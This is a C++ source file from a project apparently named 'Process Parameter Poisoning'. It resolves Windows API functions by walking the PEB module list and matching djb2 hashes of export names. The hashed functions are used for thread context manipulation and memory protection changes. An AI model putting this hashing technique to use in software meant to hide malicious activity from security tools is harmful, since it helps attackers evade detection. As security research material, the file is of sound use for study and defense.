/**
 * Authors: Max Hirschberger & Ogulcan Ugur
 * Project: Process Parameter Poisoning
 * Notes: Built with ❤️ and undefined behavior.
 */

#ifdef _WIN64
#define PPEB_CURRENT ((PPEB)__readgsqword(0x60))
#else
#define PPEB_CURRENT ((PPEB)__readfsdword(0x30))
#endif

#define INITIAL_HASH 3731
#define INITIAL_SEED 5

#include "WinApiResolver.h"
#include <iostream>

WinApiResolver::WinApiResolver() {}

WinApiResolver* WinApiResolver::m_instance = nullptr;

WinApiResolver& WinApiResolver::GetInstance()
{
    if (m_instance)
        return *m_instance;
    m_instance = new WinApiResolver();
    m_instance->ResolveAPIs();
    return *m_instance;
}

DWORD HashStringDjb2A(const char* String) {

    ULONG Hash = INITIAL_HASH;
    INT c;
    while (c = tolower(*String++))
        Hash = ((Hash << INITIAL_SEED) + Hash) + c;
    return Hash;
}

DWORD HashStringDjb2W(const wchar_t* String) {

    ULONG Hash = INITIAL_HASH;
    INT c;
    while (c = towlower(*String++))
        Hash = ((Hash << INITIAL_SEED) + Hash) + c;
    return Hash;
}


// Finds the base address of a module via the PEB list (Hashed version)
HMODULE FindModuleBaseH(DWORD moduleName)
{
    PPEB peb = PPEB_CURRENT;
    PLIST_ENTRY head = &peb->Ldr->InLoadOrderModuleList;
    PLIST_ENTRY curr = head->Flink;

    while (curr != head)
    {
        PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

        if (HashStringDjb2W(entry->BaseDllName.Buffer) == moduleName)
        {
            return (HMODULE)entry->DllBase;
        }

        curr = curr->Flink;
    }
    return NULL;
}

// Own GetProcAddress with API-Hashing: Parsing the export table
FARPROC MyGetProcAddressH(HMODULE hModule, DWORD hashedApiName)
{
    BYTE* base = (BYTE*)hModule;
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);

    IMAGE_DATA_DIRECTORY exportDirData = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDirData.VirtualAddress == 0)
        return NULL;

    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(base + exportDirData.VirtualAddress);

    DWORD* nameTable = (DWORD*)(base + exportDir->AddressOfNames);
    WORD* ordTable = (WORD*)(base + exportDir->AddressOfNameOrdinals);
    DWORD* funcTable = (DWORD*)(base + exportDir->AddressOfFunctions);


    for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
    {
        const char* name = (const char*)(base + nameTable[i]);
        if (HashStringDjb2A(name) == hashedApiName)
        {
            WORD ordinal = ordTable[i];
            DWORD rva = funcTable[ordinal];
            return (FARPROC)(base + rva);
        }
    }
    return NULL;
}

#define HASH_NTDLL_DLL 0x16B84F3B

#define HASH_NTQUERYINFORMATIONPROCESS 0xee588630
#define HASH_NTREADVIRTUALMEMORYEX 0x67801fee
#define HASH_NTPROTECTVIRTUALMEMORY 0xaf858f56
#define HASH_NTSETCONTEXTTHREAD 0xd0d4165e
#define HASH_NTGETCONTEXTTHREAD 0x3e564fd2
#define HASH_NTTERMINATEPROCESS 0x200d349d
#define HASH_NTSUSPENDTHREAD 0x41e4958f
#define HASH_NTRESUMETHREAD 0x9b31cb9e
#define HASH_LDRCONTROLFLOWGUARDENFORCED 0xb6eef67


#define HASH_KERNEL32_DLL 0xddb5ad03

#define HASH_LOADLIBRARYA 0x73daf7e9
#define HASH_VIRTUALALLOC 0xc64f8a65
#define HASH_VIRTUALPROTECT 0x293d57db


#define HASH_USER32_DLL 0xcae39701

#define HASH_MESSAGEBOXA 0x63676de2


#define RESOLVE_API(X, MH, PH) do { X = (X ## _t)(MyGetProcAddressH(FindModuleBaseH(MH), PH)); if(!X) { printf("[-] Failed to resolve %x\n", PH); exit(-1); } } while(false)

void WinApiResolver::ResolveAPIs()
{
    // NTDLL.DLL
    RESOLVE_API(NtQueryInformationProcess, HASH_NTDLL_DLL, HASH_NTQUERYINFORMATIONPROCESS);
    RESOLVE_API(NtProtectVirtualMemory, HASH_NTDLL_DLL, HASH_NTPROTECTVIRTUALMEMORY);
    RESOLVE_API(NtReadVirtualMemoryEx, HASH_NTDLL_DLL, HASH_NTREADVIRTUALMEMORYEX);
    RESOLVE_API(NtSetContextThread, HASH_NTDLL_DLL, HASH_NTSETCONTEXTTHREAD);
    RESOLVE_API(NtGetContextThread, HASH_NTDLL_DLL, HASH_NTGETCONTEXTTHREAD);
    RESOLVE_API(NtTerminateProcess, HASH_NTDLL_DLL, HASH_NTTERMINATEPROCESS);
    RESOLVE_API(NtSuspendThread, HASH_NTDLL_DLL, HASH_NTSUSPENDTHREAD);
    RESOLVE_API(LdrControlFlowGuardEnforced, HASH_NTDLL_DLL, HASH_LDRCONTROLFLOWGUARDENFORCED);

    // KERNEL32.DLL
    RESOLVE_API(LoadLibraryA, HASH_KERNEL32_DLL, HASH_LOADLIBRARYA);
    RESOLVE_API(VirtualAlloc, HASH_KERNEL32_DLL, HASH_VIRTUALALLOC);
    RESOLVE_API(VirtualProtect, HASH_KERNEL32_DLL, HASH_VIRTUALPROTECT);

    LoadLibrary(L"user32.dll");
    // USER32.DLL
    RESOLVE_API(MessageBoxA, HASH_USER32_DLL, HASH_MESSAGEBOXA);
}